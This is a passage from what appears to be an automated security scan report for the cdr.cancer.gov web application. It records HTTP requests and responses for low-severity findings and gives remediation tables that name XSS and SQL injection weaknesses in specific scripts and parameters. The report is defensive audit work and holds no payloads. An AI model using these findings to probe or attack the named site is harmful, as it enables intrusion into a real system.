The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/TerminologyReports.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:25 GMT
Connection: close
Content-Length: 3793

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 2 of 3

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448245 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/TerminologyReports.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5

<!--: spam
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:54 GMT
Connection: close
Content-Length: 376

<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> -->
<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> -->
</font> </font> </font> </script> </object> </blockquote> </pre>
</table> </table> </table> </table> </table> </font> </font> </font><p>A problem occurred in a
Python script.
<p> D:\cdr\Log\tmpdrkip1.html contains the description of this error.
```

## Issue 3 of 3

## [Information] HTML Comments Sensitive Information Disclosure

| | |
|---|---|
| Issue: | 75448206 |
| Severity: | Information |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Remove sensitive information from HTML comments |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/TerminologyReports.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5

<!--: spam
X-Powered-By: ASP.NET Date: Tue, 22 Jul 2014 16:31:54 GMT
Connection: close
Content-Length: 376

<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> -->
<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> -->
</font> </font> </font> </script> </object> </blockquote> </pre>
</table> </table> </table>
...
<!--: spam
X-Powered-By: ASP.NET Date: Tue, 22 Jul 2014 16:31:54 GMT
Connection: close
Content-Length: 376

<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> -->
<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> -->
</font> </font> </font> </script> </object> </blockquote> </pre>
</table> </table> </table>
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/TermSearch.py - 2 issue(s)

### Issue 1 of 2

### [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448091 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/TermSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:17 GMT
Connection: close
Content-Length: 8954

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Term Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #000066 }

...
```

## Issue 2 of 2

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448229 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/TermSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/TermSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:43:23 GMT
Connection: close
Content-Length: 8954

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Term Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #000066 }

...
```

## [Low] https://cdr.cancer.gov/images/ - 1 issue(s)

### Issue 1 of 1

### [Low] Hidden Directory Detected

| | |
|---|---|
| Issue: | 75448181 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/images/ |
| Risk(s): | It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site |
| Fix: | Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Removed the query string
- Set path to '/images/'
- Removed the query string
```

**Reasoning:**

The test tried to detect hidden directories on the server. The 403 Forbidden response reveals the existence of the directory, even though access is not allowed.

**Request/Response:**

```
GET /images/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 22:56:52 GMT
Content-Length: 1233
```

## [Low] https://cdr.cancer.gov/js/ - 1 issue(s)

### Issue 1 of 1

### [Low] Hidden Directory Detected

| | |
|---|---|
| Issue: | 75448089 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/js/ |
| Risk(s): | It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site |
| Fix: | Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Removed the query string
- Set path to '/js/'
- Removed the query string
```

**Reasoning:**

The test tried to detect hidden directories on the server. The 403 Forbidden response reveals the existence of the directory, even though access is not allowed.

**Request/Response:**

```
GET /js/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 22:56:52 GMT
Content-Length: 1233
```

## [Low] https://cdr.cancer.gov/stylesheets/ - 1 issue(s)

### Issue 1 of 1

### [Low] Hidden Directory Detected

| | |
|---|---|
| Issue: | 75448067 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/stylesheets/ |
| Risk(s): | It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site |
| Fix: | Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Removed the query string
- Set path to '/stylesheets/'
- Removed the query string
```

**Reasoning:**

The test tried to detect hidden directories on the server. The 403 Forbidden response reveals the existence of the directory, even though access is not allowed.

**Request/Response:**

```
GET /stylesheets/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 22:56:52 GMT
Content-Length: 1233
```

## [Information] https://cdr.cancer.gov/cdrFilter.html - 1 issue(s)

### Issue 1 of 1

### [Information] HTML Comments Sensitive Information Disclosure

| | |
|---|---|
| Issue: | 75448056 |
| Severity: | Information |
| URL: | https://cdr.cancer.gov/cdrFilter.html |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Remove sensitive information from HTML comments |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cdrFilter.html HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 31 Mar 2010 20:39:38 GMT
Accept-Ranges: bytes
ETag: "0e1ef4712d1ca1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:13 GMT
Content-Length: 12020

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'> <!-- $Id: CdrFilter.html, v 1.11 2008-08-05 14:21:15
venglisc Exp $ --> <!-- BZIssue::4733 - Add option for LOERef display to Filter interface -->
<HTML> <HEAD> <TITLE>CDR Document Filtering</TITLE> <meta http-equiv='Content-Type'
content='text/html;charset=utf-8'> <link rel='shortcut icon' href='/favicon.ico'> <
...
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'> <!-- $Id: CdrFilter.html, v 1.11 2008-08-05 14:21:15
venglisc Exp $ --> <!-- BZIssue::4733 - Add option for LOERef display to Filter interface -->
<HTML> <HEAD> <TITLE>CDR Document Filtering</TITLE> <meta http-equiv='Content-Type'
content='text/html;charset=utf-8'> <link rel='shortcut icon' href='/favicon.ico'> <
...
```

# Remediation Tasks by Severity

## [High] https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py - 7 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: queryText<br>(High) Path<br>(Low) Parameter: queryText | SQL Injection<br>Cross-Site Scripting<br>Database Error Pattern Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Verify that parameter values are in their expected ranges and types. Do not output debugging error messages and exceptions<br>(Information) Parameter: queryText | Application Error |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py - 6 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session<br>(Low) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Database Error Pattern Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py - 4 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
|---|---|
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames<br>Link Injection (facilitates Cross-Site Request Forgery) |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Help.py - 6 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: flavor<br>(Low) Parameter: flavor | SQL Injection<br>Blind SQL Injection<br>Database Error Pattern Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: flavor | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Verify that parameter values are in their expected ranges and types. Do not output debugging error messages and exceptions<br>(Information) Parameter: flavor | Application Error |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py - 4 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
| Review possible solutions for hazardous character injection<br>(High) Parameter: Session<br>(Medium) Parameter: Session | Cross-Site Scripting<br>Link Injection (facilitates Cross-Site Request Forgery)<br>Phishing Through Frames |
| **Remediation Tasks** | **Addressed Security Issues** |
| Always use SSL and POST (body) parameters when sending sensitive information.<br>(Low) Parameter: Session | Query Parameter in SSL Request |
| **Remediation Tasks** | **Addressed Security Issues** |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses.<br>(Low) Path | Cacheable SSL Page Found |

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py - 5 issue(s)

| Remediation Tasks | Addressed Security Issues |
| --- | --- |
